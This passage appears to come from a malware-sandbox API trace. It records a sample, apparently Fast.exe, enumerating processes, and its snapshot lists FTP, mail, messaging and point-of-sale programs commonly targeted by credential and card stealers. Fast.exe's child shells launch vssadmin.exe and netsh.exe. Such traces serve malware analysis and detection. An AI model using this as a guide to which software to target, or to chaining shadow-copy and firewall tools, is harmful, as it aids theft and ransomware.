hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0086.745] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0086.747] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0086.748] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0086.750] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0086.751] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0086.753] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0086.754] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0087.095] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0087.096] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0087.098] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0087.101] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0087.102] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0087.104] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0087.105] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0087.107] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0087.109] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0087.110] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0087.112] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0087.116] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0087.119] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0087.122] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0087.124] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0087.127] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0087.129] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0087.392] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0087.395] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0087.397] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0087.400] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0087.402] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0087.404] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0087.407] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0087.409] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0087.412] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0087.415] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0087.417] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0087.419] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0087.422] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0087.424] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0087.846] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0087.866] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0087.870] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0087.873] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0087.917] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0087.920] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0087.923] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0087.926] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0087.929] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lay-compromise.exe")) returned 1 [0087.932] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="neural_allowance.exe")) returned 1 [0087.934] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="presents.exe")) returned 1 [0087.937] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="latino powers economics.exe")) returned 1 [0088.328] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lbs essentially nyc.exe")) returned 1 [0088.366] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.368] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0088.370] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0088.372] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0088.373] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.375] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0088.378] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.380] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0088.382] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x808, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0088.384] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0088.385] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0088.387] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0088.389] Process32NextW (in: hSnapshot=0x1d0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0088.391] CloseHandle (hObject=0x1d0) returned 1 [0088.391] Sleep (dwMilliseconds=0x1f4) [0089.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c8 [0089.197] Process32FirstW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.198] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.200] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.202] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.204] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.206] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.208] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.209] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.211] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.212] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0089.214] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.215] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.217] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.218] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.220] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.221] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.222] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.627] Process32NextW (in: hSnapshot=0x1c8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.628] 